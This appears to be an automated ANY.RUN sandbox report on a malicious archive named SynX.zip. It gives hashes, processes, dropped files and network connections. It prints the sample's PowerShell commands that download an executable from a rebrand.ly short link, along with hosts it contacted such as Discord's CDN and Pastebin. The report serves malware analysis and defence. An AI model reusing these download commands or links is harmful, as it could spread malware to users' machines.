analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

SynX.zip

Full analysis: https://app.any.run/tasks/425cb080-02c5-4d39-b300-b3d06b264ac7
Verdict: Malicious activity
Analysis date: May 14, 2019, 22:29:32
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/zip
File info: Zip archive data, at least v1.0 to extract
MD5:

FB43EB87F2A5DF9C5C543539A14E9747

SHA1:

CA726E3D93AE4C4586C934FFBE4D723AD28604A9

SHA256:

B290BC27BC4A2698E30B19D53CA79B7E082E38597C702E5578E5C059B48F1338

SSDEEP:

49152:+o/OREwNSSiHU3n4ga8Gki9XmT69nos4/M:Z/ORJcSXn4ga91mT69nJ2M

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • BootStrapper.exe (PID: 3608)
      • SynX.exe (PID: 2224)
    • Executes PowerShell scripts

      • cmd.exe (PID: 3476)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 2984)
      • powershell.exe (PID: 1744)
      • cmd.exe (PID: 3476)
    • Starts CMD.EXE for commands execution

      • BootStrapper.exe (PID: 3608)
    • Creates files in the user directory

      • powershell.exe (PID: 1744)
      • powershell.exe (PID: 3576)
    • Reads internet explorer settings

      • SynX.exe (PID: 2224)
    • Changes IE settings (feature browser emulation)

      • SynX.exe (PID: 2224)
    • Reads Internet Cache Settings

      • SynX.exe (PID: 2224)
  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: SynX/
ZipUncompressedSize: -
ZipCompressedSize: -
ZipCRC: 0x00000000
ZipModifyDate: 2019:05:13 19:09:27
ZipCompression: None
ZipBitFlag: -
ZipRequiredVersion: 10
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
7
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winrar.exe bootstrapper.exe no specs cmd.exe powershell.exe powershell.exe no specs synx.exe taskmgr.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2984"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\SynX.zip"C:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
3608"C:\Users\admin\Desktop\SynX\BootStrapper.exe" C:\Users\admin\Desktop\SynX\BootStrapper.exeexplorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3476"C:\Windows\system32\cmd.exe" /c "C:\Users\admin\AppData\Local\Temp\2C3A.tmp\2C3B.tmp\2C3C.bat C:\Users\admin\Desktop\SynX\BootStrapper.exe"C:\Windows\system32\cmd.exe
BootStrapper.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1744powershell -Command "(New-Object Net.WebClient).DownloadFile('https://rebrand.ly/eonfsiudfhsiudfh', 'dfaoijf9weafd98asdfw9ae8sf.txt')"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3576powershell -Command "Invoke-WebRequest https://rebrand.ly/eonfsiudfhsiudfh -OutFile SynX.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2224SynX.exe C:\Users\admin\Desktop\SynX\SynX.exe
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Description:
ShibaX
Exit code:
0
Version:
1.0.0.0
3016"C:\Windows\system32\taskmgr.exe" /4C:\Windows\system32\taskmgr.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Task Manager
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 031
Read events
847
Write events
0
Delete events
0

Modification events

No data
Executable files
4
Suspicious files
4
Text files
72
Unknown types
0

Dropped files

PID
Process
Filename
Type
2984WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\BootStrapper.exeexecutable
MD5:B36F7CE4DA9E1632B424B9C4ED00D081
SHA256:9CE4827401DB6974F5781E8E306DC1EBDC1C60E2230665EBC358021F0FCE71D1
2984WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\dfaoijf9weafd98asdfw9ae8sf.txtexecutable
MD5:AEA9AF5C06FE26BB7210362CB7D74DC0
SHA256:7B7568D89D378F2E95A289EE8033A1C7D6ED572ED6ECBE66269F80EC2AF4A5F4
2984WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\Monaco\vs\basic-languages\fsharp\fsharp.jstext
MD5:DE122B3BC44A8714F386DC80282DCB12
SHA256:1390079BABC117D3F376735780D98F409F317EB4628D17106642C6933EA1DA7F
2984WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\Monaco\globalns.txttext
MD5:BA56C14634B7AE6FB585BE396ACF5F03
SHA256:5CB987E7C87F2F04CDD45F3A474FB2380BBF846534E38F2B485EAFC562B7B482
2984WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\Monaco\vs\basic-languages\coffee\coffee.jstext
MD5:9D0C4AC1691EED0A480C3E9246490D29
SHA256:E706C9F8E5C5A0CB01B2F4E4879EC34A050D6EB2A8840284EB7BADD9D78099F9
2984WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\Monaco\vs\basic-languages\css\css.jstext
MD5:49AD30F1151CFD7A74677FDC6DD13DA9
SHA256:BD331FD3BD2C37B0C3150035325F163AC9266BF6D942310764815E676D856D91
2984WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\Monaco\vs\basic-languages\cpp\cpp.jstext
MD5:0A16509E6CD0155FB622E785CFE976C7
SHA256:A7C2BEA7CA3D9E203A3A286735945FE010C8F4F8D46620386EE8BEFC6A78B32B
2984WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\Monaco\vs\basic-languages\markdown\markdown.jstext
MD5:CAF4799639D5DF40DFB1B979ED68AF9C
SHA256:EAAF453E0A9F9A604547E564A24E682503189CB9B85C87715BC9B5B6492B6F62
2984WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\Monaco\base.txttext
MD5:0D834904A252E1AB786F9637BEF6819F
SHA256:DBE440C5DEE6367EBCA919886FFE593246E1E52618E4713373000C9FC77C87CC
2984WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2984.49899\SynX\Monaco\vs\basic-languages\handlebars\handlebars.jstext
MD5:3CA7CF83292B56444548F2914C0E1811
SHA256:31D25588D120E7C79F3332FF3B3C794CEBD0554C7578E3BB37B3CAC366E4F6C2
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
3
DNS requests
3
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1744
powershell.exe
104.16.10.231:443
cdn.discordapp.com
Cloudflare Inc
US
shared
2224
SynX.exe
104.20.208.21:443
pastebin.com
Cloudflare Inc
US
shared
1744
powershell.exe
34.197.0.138:443
rebrand.ly
Amazon.com, Inc.
US
unknown

DNS requests

Domain
IP
Reputation
rebrand.ly
  • 34.197.0.138
  • 34.206.134.255
whitelisted
cdn.discordapp.com
  • 104.16.10.231
  • 104.16.9.231
  • 104.16.13.231
  • 104.16.12.231
  • 104.16.11.231
shared
pastebin.com
  • 104.20.208.21
  • 104.20.209.21
shared

Threats

No threats detected
No debug info